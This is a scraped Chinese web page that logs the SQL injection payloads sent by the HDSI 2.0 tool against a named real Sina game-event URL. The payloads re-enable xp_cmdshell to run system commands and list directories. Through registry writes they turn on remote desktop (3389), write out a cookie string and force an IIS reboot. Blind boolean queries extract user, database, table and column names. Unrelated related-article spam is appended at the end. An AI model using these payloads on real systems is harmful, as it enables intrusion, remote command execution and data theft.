在Hdsi2.0 SQL的注入部分抓包分析语句
在Hdsi2.0 SQL的注入部分抓包分析语句
恢复cmd
;insert tb1 exec master..xp_cmdshell''net user ''--
;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''--
执行命令:
sql: ;ipconfig -all--
dos:
;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell
"ipconfig
-all"--
GET /plaza/event/new/crnt_event_view.asp?event_id=57
And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [comd_list] Where 1=1)>0
列目录:
c: jiaozhu 临时表
;drop table jiaozhu;CREATE TABLE jiaozhu(DirName VARCHAR(100), DirAtt VARCHAR(100),DirFile VARCHAR(100)) INSERT jiaozhu
EXEC
MASTER..XP_dirtree "c:",1,1--
GET /plaza/event/new/crnt_event_view.asp?event_id=57
And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [jiaozhu] Where 1=1)>0
上传文件:
本地路径:C:\Inetpub\wwwroot\cook.txt 保存位置:c:
数据库存储过程:
;exec master..xp_cmdshell '' echo
cdb_sid=3UrzOV;%20cdb_cookietime=2592000;%20cdb_auth=VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX;%
20cdb_visitedfid=12;%2
0cdb_oldtopics=D8D>c:\''--
数据库备份:(上传后删除临时表)
;Drop table [xiaopan];create table [dbo].[xiaopan] ([cmd] [text])--
;insert into xiaopan(cmd) values('' echoStr '')--
;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=''c:/'' backup database @a todisk=@s WITH
DIFFERENTIAL,FORMAT--
;Drop table [xiaopan]--
开启3389:
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite
@r,''software\microsoft\windows\currentversion\netcache'',''enable'',''reg_sz'',''0'';-
---
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''software\microsoft\windows
nt\currentversion\winlogon'',''shutdownwithoutlogon'',''reg_sz'',''0'';----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite
@r,''software\policies\microsoft\windows\installer'',''enableadmintsremote'',''reg_dword'',1;----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''system\currentcontrolset\control
\terminal
servert'',''senabled'',''reg_dword'',1;----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite
@r,''system\currentcontrolset\services\termdd'',''start'',''reg_dword'',2;----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite
@r,''system\currentcontrolset\services\termservice'',''start'',''reg_dword'',2;----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite ''hkey_users'',''.default\keyboard
layout\toggle'',''hotkey'',''reg_sz'',''1'';----
;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_cmdshell ''iisreset /reboot'';----
注入分析:数字型 SQL错误提示关闭 开启 access
使用关键字 宝石公园“你玩 我抽”中奖名单公布
http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=57
多句查询 支持
子查询 支持
权限 public
当前用户 dbo
当前库 event
;create table t_jiaozhu(jiaozhu varchar(200))
And 1=1
And 1=2
And (Select Count(1) from SYSObjects)>0
and (select len(user))<32
;declare @a int--
And (IS_SRVROLEMEMBER(''sysadmin''))=1
And (IS_MEMBER(''db_owner''))=1
and (select len(user))<16
and (select len(user))<4
and (select len(user))<2
and (select len(user))<3
and (select len(user))<3
and (select len(user))<4
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104
and (select ascii(substring(user,3,1)))<104
and (select ascii(substring(user,1,1)))<92
and (select ascii(substring(user,2,1)))<92
and (select ascii(substring(user,3,1)))<116
and (select ascii(substring(user,1,1)))<98
...
...
...
and (select len(db_name()))<16
and (select len(db_name()))<8
and (select len(db_name()))<4
...
...
...
and (select ascii(substring(db_name(),1,1)))<80
and (select ascii(substring(db_name(),2,1)))<80
and (select ascii(substring(db_name(),5,1)))<85
跨库:
猜解数据库:
GET
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...
and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by
dbid
desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by
dbid
desc) <104
...
...
...
and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5
master 不是sa权限,不能跨库
猜解表名:
EventCategory
GET
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85))
T
order by id desc) < 80
and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T
order by id desc) < 80
and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T
order by id desc) < 80
and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85))
T
order by id desc) < 80
猜解列名:
GET
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where
A.id=B.id and
B.name=''EventCategory'' order by A.name desc) T order by name asc )<35
在Hdsi2.0 SQL的注入部分抓包分析语句的更多相关文章
- Mysql 通信协议抓包分析
mysql在传输层使用的TCP协议.一个TCP payload可能有多个mysql packet.如下图所示. TCP head TCP payload (mysql packet1, mysql p ...
- Wireshark抓包分析/TCP/Http/Https及代理IP的识别
前言 坦白讲,没想好怎样的开头.辗转三年过去了.一切已经变化了许多,一切似乎从没有改变. 前段时间调研了一次代理相关的知识,简单整理一下分享之.如有错误,欢迎指正. 涉及 Proxy IP应用 原理/ ...
- HTTP2特性预览和抓包分析
背景 近年来,http网络请求量日益添加,以下是httparchive统计,从2012-11-01到2016-09-01的请求数量和传输大小的趋势图: 当前大部份客户端&服务端架构的应用程序, ...
- 抓包分析SSL/TLS连接建立过程【总结】
1.前言 最近在倒腾SSL方面的项目,之前只是虽然对SSL了解过,但是不够深入,正好有机会,认真学习一下.开始了解SSL的是从https开始的,自从百度支持https以后,如今全站https的趋势越来 ...
- 实战录 | 基于openflow协议的抓包分析
<实战录>导语 云端卫士<实战录>栏目定期会向粉丝朋友们分享一些在开发运维中的经验和技巧,希望对于关注我们的朋友有所裨益.本期分享人为云端卫士安全SDN工程师宋飞虎,将带来基于 ...
- [转] Android实时抓包分析 : 善用adb调试桥
Android实时抓包分析 : 善用adb调试桥 谈到android网络抓包,很多人都能想到牛逼轰轰的神器tcpdump.方法就是在android机器上面安装tcpdump,然后通过-w参数把抓包 ...
- 云计算之路-阿里云上:Wireshark抓包分析一个耗时20秒的请求
这篇博文分享的是我们针对一个耗时20秒的请求,用Wireshark进行抓包分析的过程. 请求的流程是这样的:客户端浏览器 -> SLB(负载均衡) -> ECS(云服务器) -> S ...
- 用Wireshark抓包分析超过70秒的请求
超过70秒的请求是通过分析IIS日志发现的: 10.159.63.104是SLB的内网IP. 通过Wireshark抓包分析请求是9:22:21收到的(tcp.stream eq 23080): 09 ...
- Wireshark和TcpDump抓包分析心得
Wireshark和 TcpDump抓包分析心得 1. Wireshark与tcpdump介绍 Wireshark是一个网络协议检测工具,支持Windows平台和Unix平台,我一般只在Window ...
随机推荐
- mysql数据库导入和导出
Mysql数据中,使用时,总是会碰见导入和导出情况,所以如何正确的导入导出,非常重要!下面根据工作中用到的方法,会不管补充: 导入: 直接在Mysql中导入: mysql>use databas ...
- 用户管理 之 Linux 用户(user)和用户组(group)管理概述
一.理解Linux的单用户多任务,多用户多任务概念:Linux 是一个多用户.多任务的操作系统:我们应该了解单用户多任务和多用户多任务的概念: 1.Linux 的单用户多任务:单用户多任务:比如我们以 ...
- Nagios 安装配置
##Debian 6 安装server # apt-get install nagios* 一路设置好各种密码,成功后访问 http://ip/nagios3 既可,默认用户*nagiosadmin* ...
- WordPress添加固定位置的百度分享按钮
第一步,在你所用主题目录新建一个名称为:share.php的模板文件,将下面的代码复制到进去并保存 <div id="share"> <div class=&qu ...
- 通信错误:(-1)[描述:无法解析路由器DDNS地址,请检查DDNS状态.] 解析办法
EasyRadius提示:通信错误:(-1)[描述:无法解析路由器DDNS地址,请检查DDNS状态.] 出现以上问题,和easyradius没有直接的联系,主要产生原因有两种可能: 可能1:easyr ...
- ARCGIS10.1 GeoDatabase深入理解:客户端连接与退出地理数据库时系统表的初始化
平台软件:ARCIGS10.1 ,SQL Server2008R2 目的:了解客户端在连接arcgis 空间地理数据库后,地理数据库会做些什么样的初始化工作 准备工作: 1.准备好数据库日志文件查看工 ...
- 如何改变Activity在当前任务堆栈中的顺序,Intent参数大全
引用:http://blog.csdn.net/think_soft/article/details/7477072 本示例演示如何通过设置Intent对象的标记,来改变当前任务堆栈中既存的Activ ...
- 用Jekyll在github上写博客——《搭建一个免费的,无限流量的Blog》的注脚
本来打算买域名,买空间,用wordpress写博客的.后来问了一个师兄,他说他是用github的空间,用Jekyll写博客,说很多人都这么做.于是我就研究了一下. 比较有价值的文章有这么几篇: htt ...
- zepto - push
var arr = ['1', '2', '3', '4']; arr.push('qwe'); console.log(arr);
- C#基础总结之六 DataTable (临时表/数据源) 和Datatable 名片练习
#region DataTable (临时表/数据源) 存储数据 DataTable dataTable = new DataTable(); dataTable.Columns.Add(" ...